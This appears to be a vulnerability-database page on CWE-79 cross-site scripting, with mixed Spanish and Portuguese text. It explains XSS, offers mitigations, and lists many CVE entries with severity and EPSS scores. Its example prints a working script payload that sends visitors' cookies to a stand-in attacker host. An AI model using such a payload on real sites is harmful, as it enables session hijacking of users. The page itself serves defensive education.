Fallos del tipo CWE-79

28.619 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-1250—LifterLMS PayPal < 1.4.0 - Reflected Cross-Site ScriptingEPSS 0.9%CVE-2022-0542HIGHCross-site Scripting (XSS) - DOM in chatwoot/chatwootEPSS 0.9%CVE-2021-4169MEDIUMCross-site Scripting (XSS) - Reflected in livehelperchat/livehelperchatEPSS 0.9%CVE-2020-25163HIGHOSIsoft PI Vision Cross-site ScriptingEPSS 0.9%CVE-2018-10934MEDIUMA cross-site scripting (XSS) vulnerability was found in the JBoss Management Console versions before 7.1.6.CR1, 7.1.6.GA. Users with roles tEPSS 0.9%CVE-2026-55034HIGHMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 0.9%CVE-2026-55021HIGHMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 0.9%CVE-2021-39338MEDIUMMyBB Cross-Poster <= 1.0 Authenticated Stored Cross-Site ScriptingEPSS 0.9%CVE-2022-22571—An authenticated high privileged user can perform a stored XSS attack due to incorrect output encoding in Incapptic connect and affects all EPSS 0.9%CVE-2025-47777CRITICAL5ire Client Vulnerable to Cross-Site Scripting (XSS) and Remote Code Execution (RCE)EPSS 0.9%CVE-2022-2527HIGHAn issue in Incident Timelines has been discovered in GitLab CE/EE affecting all versions starting from 14.9 before 15.1.6, all versions staEPSS 0.9%CVE-2025-2610HIGHMagnusBilling Stored Cross-Site Scripting in Alarm ModuleEPSS 0.9%CVE-2022-43500MEDIUMCross-site scripting vulnerability in WordPress versions prior to 6.0.3 allows a remote unauthenticated attacker to inject an arbitrary scriEPSS 0.9%CVE-2023-29206CRITICALorg.xwiki.platform:xwiki-platform-skin-skinx vulnerable to basic Cross-site Scripting by exploiting JSX or SSX pluginsEPSS 0.9%CVE-2021-24808—BP Better Messages < 1.9.9.41 - Reflected Cross-Site ScriptingEPSS 0.9%CVE-2024-45116HIGHAdobe Commerce | Cross-site Scripting (XSS) (CWE-79)EPSS 0.9%CVE-2021-21365MEDIUMCross-Site Scripting in Content RenderingEPSS 0.9%CVE-2023-7027HIGHPOST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress <= 2.8.7 - Unauthenticated Stored Cross-Site Scripting via deviceEPSS 0.9%CVE-2016-10366—Kibana versions after and including 4.3 and before 4.6.2 are vulnerable to a cross-site scripting (XSS) attack.EPSS 0.9%CVE-2023-36031HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 0.9%